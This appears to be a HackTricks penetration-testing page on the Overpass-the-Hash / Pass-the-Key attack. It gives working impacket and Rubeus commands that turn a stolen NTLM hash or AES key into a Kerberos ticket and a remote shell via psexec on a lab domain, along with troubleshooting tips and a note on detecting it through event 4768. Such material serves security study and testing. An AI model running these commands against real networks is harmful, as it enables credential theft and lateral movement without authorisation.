hacktricks/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md

# Over Pass the Hash/Pass the Key

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## Overpass The Hash/Pass The Key (PTK)

This attack aims to **use the user NTLM hash or AES keys to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.

In order to perform this attack, the **NTLM hash (or password) of the target user account is needed**. Thus, once a user hash is obtained, a TGT can be requested for that account. Finally, it is possible to **access** any service or machine **where the user account has permissions**.

```
python getTGT.py jurassic.park/velociraptor -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7
export KRB5CCNAME=/root/impacket-examples/velociraptor.ccache
python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
```

You can **specify** `-aesKey [AES key]` to specify to use **AES256**.\
You can also use the ticket with other tools like: as smbexec.py or wmiexec.py

Possible problems:

* _PyAsn1Error(‘NamedTypes can cast only scalar values’,)_ : Resolved by updating impacket to the lastest version.
* _KDC can’t found the name_ : Resolved by using the hostname instead of the IP address, because it was not recognized by Kerberos KDC.

```
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
```

This kind of attack is similar to **Pass the Key**, but instead of using hashes to request for a ticket, the ticket itself is stolen and used to authenticate as its owner.

{% hint style="warning" %}
When a TGT is requested, event `4768: A Kerberos authentication ticket (TGT) was requested` is generated. You can see from the output above that the KeyType is **RC4-HMAC** (0x17), but the default type for Windows is now **AES256** (0x12).
{% endhint %}

```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```

## References

* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)

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